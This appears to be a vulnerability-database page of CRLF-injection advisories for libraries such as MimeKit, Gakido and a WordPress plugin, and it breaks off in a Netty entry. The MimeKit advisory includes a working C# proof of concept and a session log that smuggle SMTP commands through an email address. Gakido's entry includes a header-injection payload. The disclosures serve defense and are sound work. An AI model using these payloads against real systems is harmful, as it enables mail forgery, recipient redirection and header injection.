CWE-93
AllowedImproper Neutralization of CRLF Sequences ('CRLF Injection')
Abstraction: Base · Status: Draft
The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.
385 vulnerabilities reference this CWE, most recent first.
GHSA-G5Q2-6JVC-QFHH
Vulnerability from github – Published: 2026-06-22 12:32 – Updated: 2026-06-22 18:34Net::Statsite::Client versions through 1.1.0 for Perl allow metric injections.
Net::Statsite::Client is a client for the statsite protocol, which is a variant of statsd.
Newlines are not removed from metric names, allowing metric injections.
Values are not sanitised for newlines or other protocol control characters such as colons or pipes, allowing metric injections.
{
"affected": [],
"aliases": [
"CVE-2026-11373"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-22T12:16:24Z",
"severity": "CRITICAL"
},
"details": "Net::Statsite::Client versions through 1.1.0 for Perl allow metric injections.\n\nNet::Statsite::Client is a client for the statsite protocol, which is a variant of statsd.\n\nNewlines are not removed from metric names, allowing metric injections.\n\nValues are not sanitised for newlines or other protocol control characters such as colons or pipes, allowing metric injections.",
"id": "GHSA-g5q2-6jvc-qfhh",
"modified": "2026-06-22T18:34:11Z",
"published": "2026-06-22T12:32:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11373"
},
{
"type": "WEB",
"url": "https://metacpan.org/release/JASEI/Net-Statsite-Client-1.1.0/view/lib/Net/Statsite/Client.pm"
},
{
"type": "WEB",
"url": "https://security.metacpan.org/patches/N/Net-Statsite-Client/1.1.0/CVE-2026-11373-r1.patch"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46719"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46720"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46739"
},
{
"type": "WEB",
"url": "http://armon.github.io/statsite"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G7HC-96XR-GVVX
Vulnerability from github – Published: 2026-03-05 21:50 – Updated: 2026-03-06 22:52Summary
A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.
RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.
Details
1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string
RFC 5321 defines:
mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF
Reverse-path = Path / "<>"
Path = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l = At-domain *( "," At-domain )
At-domain = "@" Domain
Mailbox = Local-part "@" ( Domain / address-literal )
Local-part = Dot-string / Quoted-string
Dot-string = Atom *("." Atom)
Atom = 1*atext
atext = ALPHA / DIGIT /
"!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" /
"=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"
Quoted-string = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP = %d32-33 / %d35-91 / %d93-126
When the local part is a quoted string, the characters and are not allowed.
2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)
In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected.
As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.
3) Affected components / versions
- MimeKit 4.15.0 (as tested)
- MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
- Accepts untrusted input for sender/recipient addresses, and
- Constructs
MailboxAddressfrom that input, and - Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.
PoC
Environment: - .NET SDK: 8.0.418 - Target Framework: net8.0 - Packages: MailKit 4.15.0 (with MimeKit 4.15.0) - Use ProtocolLogger to capture the SMTP session and confirm injection.
1) Create a minimal project:
mimekit_poc.csproj
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="MailKit" Version="4.15.0" />
</ItemGroup>
</Project>
````
2. PoC program (replace SMTP host/port/address as needed):
```csharp
using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;
// === payload and target setting ===
var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");
// === below smtp session ===
// mimekit api
var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");
var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };
try {
using var protocolLogger = new ProtocolLogger(logPath);
using var client = new SmtpClient(protocolLogger);
var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
client.Connect(smtpHost, smtpPort, socketOption);
client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
client.Disconnect(true);
Console.WriteLine("[+] successfully send mail");
Console.WriteLine($"[+] view smtp session log at: {logPath}");
} catch (SmtpCommandException ex) {
Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
Environment.ExitCode = 1;
} catch (SmtpProtocolException ex) {
Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
Environment.ExitCode = 1;
} catch (Exception ex) {
Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
Environment.ExitCode = 1;
}
-
Expected result
-
MailboxAddressaccepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF. - The generated SMTP session (captured by ProtocolLogger) shows the
MAIL FROMline being split by the injected CRLF, followed by attacker-controlled SMTP commands. tcpdumpalso shows the same raw SMTP stream (optional confirmation).
Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:
Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET
Notes:
- Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via
MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance. - SMTP commands are terminated by
<CRLF>, so CRLF-in-argument is structurally hazardous by design.
Impact
Vulnerability class:
- SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
- Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).
Who is impacted:
- Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).
Potential consequences:
- Add or modify SMTP recipients by injecting extra
RCPT TOcommands (mail redirection / data exfiltration). - Corrupt the SMTP transaction state (
RSET,NOOP, etc.) or attempt earlyDATAinjection (server-dependent). - In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
- Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.
Suggested remediation (high level):
- Reject
\rand\nin local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes. - Align quoted local-part parsing with RFC 5321’s
qtextSMTPandquoted-pairSMTPranges (no control characters).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.15.0"
},
"package": {
"ecosystem": "NuGet",
"name": "MimeKit"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.15.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-30227"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-05T21:50:44Z",
"nvd_published_at": "2026-03-06T21:16:16Z",
"severity": "MODERATE"
},
"details": "### Summary\nA CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed `\\r\\n` into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional `RCPT TO` / `DATA` / `RSET` commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a `MailboxAddress` (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.\n\nRFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside `Quoted-string` (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by `\u003cCRLF\u003e`, making CRLF injection in command arguments particularly dangerous.\n\n### Details\n\n#### 1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string\n\nRFC 5321 defines:\n\n```text\nmail = \"MAIL FROM:\" Reverse-path [SP Mail-parameters] CRLF\n\nReverse-path = Path / \"\u003c\u003e\"\nPath = \"\u003c\" [ A-d-l \":\" ] Mailbox \"\u003e\"\nA-d-l = At-domain *( \",\" At-domain )\nAt-domain = \"@\" Domain\n\nMailbox = Local-part \"@\" ( Domain / address-literal )\nLocal-part = Dot-string / Quoted-string\n\nDot-string = Atom *(\".\" Atom)\nAtom = 1*atext\natext = ALPHA / DIGIT / \n \"!\" / \"#\" / \"$\" / \"%\" / \"\u0026\" / \"\u0027\" / \"*\" / \"+\" / \"-\" / \"/\" / \n \"=\" / \"?\" / \"^\" / \"_\" / \"`\" / \"{\" / \"|\" / \"}\" / \"~\"\n\n\nQuoted-string = DQUOTE *QcontentSMTP DQUOTE\nQcontentSMTP = qtextSMTP / quoted-pairSMTP\nquoted-pairSMTP = %d92 %d32-126\nqtextSMTP = %d32-33 / %d35-91 / %d93-126\n```\n\nWhen the local part is a quoted string, the characters \u003cCR\u003e and \u003cLF\u003e are not allowed.\n\n#### 2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)\n\nIn the MimeKit 4.15.0 version, when parsing the local part, the \u003cCR\u003e and \u003cLF\u003e characters in the double-quoted form will not be detected.\nAs a result, `MailboxAddress` can accept addresses like `\"attacker\\r\\nRCPT TO:\u003cvictim@target\u003e\\r\\n\"@example.com` as a valid address.\n\n#### 3) Affected components / versions\n\n- MimeKit 4.15.0 (as tested)\n- MailKit 4.15.0 uses/depends on MimeKit 4.15.0\nAny application that:\n- Accepts untrusted input for sender/recipient addresses, and\n- Constructs `MailboxAddress` from that input, and\n- Sends via SMTP (e.g., using MailKit SmtpClient),\nmay be impacted.\n\n### PoC\n\nEnvironment:\n- .NET SDK: 8.0.418\n- Target Framework: net8.0\n- Packages: MailKit 4.15.0 (with MimeKit 4.15.0)\n- Use ProtocolLogger to capture the SMTP session and confirm injection.\n\n1) Create a minimal project:\n\nmimekit_poc.csproj\n```xml\n\u003cProject Sdk=\"Microsoft.NET.Sdk\"\u003e\n\n \u003cPropertyGroup\u003e\n \u003cOutputType\u003eExe\u003c/OutputType\u003e\n \u003cTargetFramework\u003enet8.0\u003c/TargetFramework\u003e\n \u003cImplicitUsings\u003eenable\u003c/ImplicitUsings\u003e\n \u003cNullable\u003eenable\u003c/Nullable\u003e\n \u003c/PropertyGroup\u003e\n\n \u003cItemGroup\u003e\n \u003cPackageReference Include=\"MailKit\" Version=\"4.15.0\" /\u003e\n \u003c/ItemGroup\u003e\n\u003c/Project\u003e\n````\n\n2. PoC program (replace SMTP host/port/address as needed):\n\n```csharp\nusing MailKit.Net.Smtp;\nusing MailKit.Security;\nusing MailKit;\nusing MimeKit;\n\n// === payload and target setting ===\n\nvar smtpHost = \"xx.xx.xx.xx\";\nvar smtpPort = 25;\nvar useTls = false;\n// attack in `MAIL FROM` cmd with address grammar in double quote \nvar payloadEvilMailFromInput = \"\\\"attack\\r\\nRSET\\r\\nMAIL FROM:\u003ckc1zs4@poc.send.com\u003e\\r\\nRCPT TO:\u003cxxx@xxx.xxx.xxx.xxx\u003e\\r\\nDATA\\r\\n.\\r\\nQUIT\\r\\nhere\\\"@poc.send.com\";\n// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt\nvar logDir = Path.Combine(AppContext.BaseDirectory, \"log\");\nDirectory.CreateDirectory(logDir);\nvar timestamp = DateTime.Now.ToString(\"yyyyMMdd_HHmmss_fff\");\nvar logPath = Path.Combine(logDir, $\"smtp_log_{timestamp}\");\n\n\n// === below smtp session ===\n// mimekit api\n\nvar envelopeFrom = new MailboxAddress(\"\", payloadEvilMailFromInput);\nvar envelopeRcpt = new MailboxAddress(\"\", \"\\\"kc1zs4\\\"@poc.recv.com\");\nvar headerFrom = new MailboxAddress(\"Sender\", \"kc1zs4@poc.send.com\");\nvar headerTo = new MailboxAddress(\"Recipient\", \"kc1zs4@poc.recv.com\");\n\nvar message = new MimeMessage();\nmessage.From.Add(headerFrom);\nmessage.To.Add(headerTo);\nmessage.Subject = \"mimekit CRLF injection poc\";\nmessage.Body = new TextPart(\"plain\") { Text = \"Hello from MimeKit 4.15.0\" };\n\ntry {\n using var protocolLogger = new ProtocolLogger(logPath);\n using var client = new SmtpClient(protocolLogger);\n\n var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;\n client.Connect(smtpHost, smtpPort, socketOption);\n\n client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });\n client.Disconnect(true);\n\n Console.WriteLine(\"[+] successfully send mail\");\n Console.WriteLine($\"[+] view smtp session log at: {logPath}\");\n\n} catch (SmtpCommandException ex) {\n\n Console.Error.WriteLine($\"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}\");\n Console.Error.WriteLine($\"[!] view smtp session log at: {logPath}\");\n Environment.ExitCode = 1;\n\n} catch (SmtpProtocolException ex) {\n\n Console.Error.WriteLine($\"[!] smtp protocol err: {ex.Message}\");\n Console.Error.WriteLine($\"[!] view smtp session log at: {logPath}\");\n Environment.ExitCode = 1;\n\n} catch (Exception ex) {\n\n Console.Error.WriteLine($\"[!] unknown err: {ex.Message}\");\n Console.Error.WriteLine($\"[!] view smtp session log at: {logPath}\");\n Environment.ExitCode = 1;\n}\n```\n\n3. Expected result\n\n* `MailboxAddress` accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.\n* The generated SMTP session (captured by ProtocolLogger) shows the `MAIL FROM` line being split by the injected CRLF, followed by attacker-controlled SMTP commands.\n* `tcpdump` also shows the same raw SMTP stream (optional confirmation).\n\nExample (illustrative) excerpt from smtp session log showing the CRLF injection effect:\n\n```txt\nConnected to smtp://xxx.xxx.xxx.xxx:25/\nS: 220 xxx Axigen ESMTP ready\nC: EHLO KC1zs4-TPt14p\nS: 250-xxx Axigen ESMTP hello\nS: 250-PIPELINING\nS: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI\nS: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI\nS: 250-8BITMIME\nS: 250-SIZE 10485760\nS: 250-HELP\nS: 250 OK\nC: MAIL FROM:\u003c\"attack\nC: RSET\nC: MAIL FROM:\u003ckc1zs4@poc.send.com\u003e\nC: RCPT TO:\u003cxxx@xxx.xxx.xxx.xxx\u003e\nC: DATA\nC: .\nC: QUIT\nC: here\"@poc.send.com\u003e SIZE=293\nC: RCPT TO:\u003c\"kc1zs4\"@poc.recv.com\u003e\nS: 553 Invalid mail address\nS: 250 Reset done\nS: 250 Sender accepted\nS: 250 Recipient accepted\nS: 354 Ready to receive data; remember \u003cCRLF\u003e.\u003cCRLF\u003e\nS: 250 Mail queued for delivery\nS: 221-xxx Axigen ESMTP is closing connection\nS: 221 Good bye\nC: RSET\n```\n\nNotes:\n\n* Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via `MailboxAddress`) is sufficient to demonstrate the vulnerability class and protocol non-compliance.\n* SMTP commands are terminated by `\u003cCRLF\u003e`, so CRLF-in-argument is structurally hazardous by design.\n\n### Impact\n\nVulnerability class:\n\n* SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).\n* Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).\n\nWho is impacted:\n\n* Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied \u201cFrom\u201d address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).\n\nPotential consequences:\n\n* Add or modify SMTP recipients by injecting extra `RCPT TO` commands (mail redirection / data exfiltration).\n* Corrupt the SMTP transaction state (`RSET`, `NOOP`, etc.) or attempt early `DATA` injection (server-dependent).\n* In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).\n* Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.\n\nSuggested remediation (high level):\n\n* Reject `\\r` and `\\n` in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.\n* Align quoted local-part parsing with RFC 5321\u2019s `qtextSMTP` and `quoted-pairSMTP` ranges (no control characters).",
"id": "GHSA-g7hc-96xr-gvvx",
"modified": "2026-03-06T22:52:51Z",
"published": "2026-03-05T21:50:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jstedfast/MimeKit/security/advisories/GHSA-g7hc-96xr-gvvx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30227"
},
{
"type": "PACKAGE",
"url": "https://github.com/jstedfast/MimeKit"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery"
}
GHSA-G8MP-PX4H-FW43
Vulnerability from github – Published: 2026-02-18 06:30 – Updated: 2026-02-18 06:30The ShopLentor – WooCommerce Builder for Elementor & Gutenberg +21 Modules – All in One Solution plugin for WordPress is vulnerable to Email Relay Abuse in all versions up to, and including, 3.3.2. This is due to the lack of validation on the 'send_to', 'product_title', 'wlmessage', and 'wlemail' parameters in the 'woolentor_suggest_price_action' AJAX endpoint. This makes it possible for unauthenticated attackers to send arbitrary emails to any recipient with full control over the subject line, message content, and sender address (via CRLF injection in the 'wlemail' parameter), effectively turning the website into a full email relay for spam or phishing campaigns.
{
"affected": [],
"aliases": [
"CVE-2026-1714"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-18T05:16:27Z",
"severity": "HIGH"
},
"details": "The ShopLentor \u2013 WooCommerce Builder for Elementor \u0026 Gutenberg +21 Modules \u2013 All in One Solution plugin for WordPress is vulnerable to Email Relay Abuse in all versions up to, and including, 3.3.2. This is due to the lack of validation on the \u0027send_to\u0027, \u0027product_title\u0027, \u0027wlmessage\u0027, and \u0027wlemail\u0027 parameters in the \u0027woolentor_suggest_price_action\u0027 AJAX endpoint. This makes it possible for unauthenticated attackers to send arbitrary emails to any recipient with full control over the subject line, message content, and sender address (via CRLF injection in the \u0027wlemail\u0027 parameter), effectively turning the website into a full email relay for spam or phishing campaigns.",
"id": "GHSA-g8mp-px4h-fw43",
"modified": "2026-02-18T06:30:19Z",
"published": "2026-02-18T06:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1714"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/woolentor-addons/tags/3.3.1/classes/class.ajax_actions.php#L170"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/woolentor-addons/tags/3.3.1/classes/class.ajax_actions.php#L189"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/woolentor-addons/tags/3.3.1/classes/class.ajax_actions.php#L192"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/woolentor-addons/trunk/classes/class.ajax_actions.php#L170"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/woolentor-addons/trunk/classes/class.ajax_actions.php#L189"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/woolentor-addons/trunk/classes/class.ajax_actions.php#L192"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3461704/woolentor-addons/trunk/classes/class.ajax_actions.php?contextall=1"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cf326914-6a38-4984-a2a7-66e05f41a96b?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GC4W-FJW4-FM3H
Vulnerability from github – Published: 2026-05-14 00:31 – Updated: 2026-05-14 00:31Improper sanitization of the status query parameter of the /unprotected/nova_error endpoint allows unauthenticated attacker to inject arbitrary HTTP header to the response.
{
"affected": [],
"aliases": [
"CVE-2026-32993"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-13T22:16:43Z",
"severity": "HIGH"
},
"details": "Improper sanitization of the `status` query parameter of the `/unprotected/nova_error` endpoint allows unauthenticated attacker to inject arbitrary HTTP header to the response.",
"id": "GHSA-gc4w-fjw4-fm3h",
"modified": "2026-05-14T00:31:56Z",
"published": "2026-05-14T00:31:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32993"
},
{
"type": "WEB",
"url": "https://support.cpanel.net/hc/en-us/articles/40437313190295-Security-CVE-2026-32993-cPanel-WHM-WP2-Security-Update-May-13-2026"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-GCGX-CHCP-HXP9
Vulnerability from github – Published: 2026-01-26 23:29 – Updated: 2026-01-29 03:25A vulnerability was discovered in Gakido that allowed HTTP Header Injection through CRLF (Carriage Return Line Feed) sequences in user-supplied header values and names.
When making HTTP requests with user-controlled header values containing \r\n (CRLF), \n (LF), or \x00 (null byte) characters, an attacker could inject arbitrary HTTP headers into the request.
Impact
An attacker who can control header values passed to Gakido's Client.get(), Client.post(), or other request methods could:
- Inject arbitrary HTTP headers - Add malicious headers to requests
- HTTP Response Splitting - Potentially manipulate responses in certain proxy configurations
- Cache Poisoning - Inject headers that could poison intermediate caches
- Session Fixation - Inject session-related headers
- Bypass Security Controls - Inject headers that bypass server-side security checks
Proof of Concept
from gakido import Client
# Before fix: X-Injected header would be sent as a separate header
c = Client(impersonate="chrome_120")
r = c.get("https://httpbin.org/headers", headers={
"User-Agent": "test\r\nX-Injected: pwned"
})
# The server would receive:
# User-Agent: test
# X-Injected: pwned
Affected Code
The vulnerability existed in the header processing logic where user-supplied headers were not sanitized before being sent in HTTP requests.
File: gakido/headers.py
Function: canonicalize_headers()
Fix
The fix adds a _sanitize_header() function that strips \r, \n, and \x00 characters from both header names and values before they are included in HTTP requests.
def _sanitize_header(name: str, value: str) -> tuple[str, str]:
"""
Sanitize header name and value to prevent HTTP header injection (CRLF injection).
Strips CR, LF, and null bytes from both name and value.
"""
clean_name = name.replace("\r", "").replace("\n", "").replace("\x00", "")
clean_value = value.replace("\r", "").replace("\n", "").replace("\x00", "")
return clean_name, clean_value
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "gakido"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-24489"
],
"database_specific": {
"cwe_ids": [
"CWE-113",
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-26T23:29:57Z",
"nvd_published_at": "2026-01-27T01:16:02Z",
"severity": "MODERATE"
},
"details": "A vulnerability was discovered in Gakido that allowed HTTP Header Injection through CRLF (Carriage Return Line Feed) sequences in user-supplied header values and names.\n\nWhen making HTTP requests with user-controlled header values containing `\\r\\n` (CRLF), `\\n` (LF), or `\\x00` (null byte) characters, an attacker could inject arbitrary HTTP headers into the request.\n\n## Impact\n\nAn attacker who can control header values passed to Gakido\u0027s `Client.get()`, `Client.post()`, or other request methods could:\n\n1. **Inject arbitrary HTTP headers** - Add malicious headers to requests\n2. **HTTP Response Splitting** - Potentially manipulate responses in certain proxy configurations\n3. **Cache Poisoning** - Inject headers that could poison intermediate caches\n4. **Session Fixation** - Inject session-related headers\n5. **Bypass Security Controls** - Inject headers that bypass server-side security checks\n\n## Proof of Concept\n\n```python\nfrom gakido import Client\n\n# Before fix: X-Injected header would be sent as a separate header\nc = Client(impersonate=\"chrome_120\")\nr = c.get(\"https://httpbin.org/headers\", headers={\n \"User-Agent\": \"test\\r\\nX-Injected: pwned\"\n})\n\n# The server would receive:\n# User-Agent: test\n# X-Injected: pwned\n```\n\n## Affected Code\n\nThe vulnerability existed in the header processing logic where user-supplied headers were not sanitized before being sent in HTTP requests.\n\n**File:** `gakido/headers.py` \n**Function:** `canonicalize_headers()`\n\n## Fix\n\nThe fix adds a `_sanitize_header()` function that strips `\\r`, `\\n`, and `\\x00` characters from both header names and values before they are included in HTTP requests.\n\n```python\ndef _sanitize_header(name: str, value: str) -\u003e tuple[str, str]:\n \"\"\"\n Sanitize header name and value to prevent HTTP header injection (CRLF injection).\n Strips CR, LF, and null bytes from both name and value.\n \"\"\"\n clean_name = name.replace(\"\\r\", \"\").replace(\"\\n\", \"\").replace(\"\\x00\", \"\")\n clean_value = value.replace(\"\\r\", \"\").replace(\"\\n\", \"\").replace(\"\\x00\", \"\")\n return clean_name, clean_value\n```",
"id": "GHSA-gcgx-chcp-hxp9",
"modified": "2026-01-29T03:25:02Z",
"published": "2026-01-26T23:29:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/HappyHackingSpace/gakido/security/advisories/GHSA-gcgx-chcp-hxp9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24489"
},
{
"type": "WEB",
"url": "https://github.com/HappyHackingSpace/gakido/commit/369c67e67c63da510c8a9ab021e54a92ccf1f788"
},
{
"type": "PACKAGE",
"url": "https://github.com/HappyHackingSpace/gakido"
},
{
"type": "WEB",
"url": "https://github.com/HappyHackingSpace/gakido/releases/tag/v0.1.1-1bc6019"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Gakido vulnerable to HTTP Header Injection (CRLF Injection) "
}
GHSA-GCJF-9MGH-3P7G
Vulnerability from github – Published: 2026-07-22 21:52 – Updated: 2026-07-22 21:52Security Vulnerability Report: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder
1. Vulnerability Summary
| Field | Value |
|---|---|
| Product | Netty |
| Version | 4.2.12.Final (and all prior versions with codec-http multipart) |
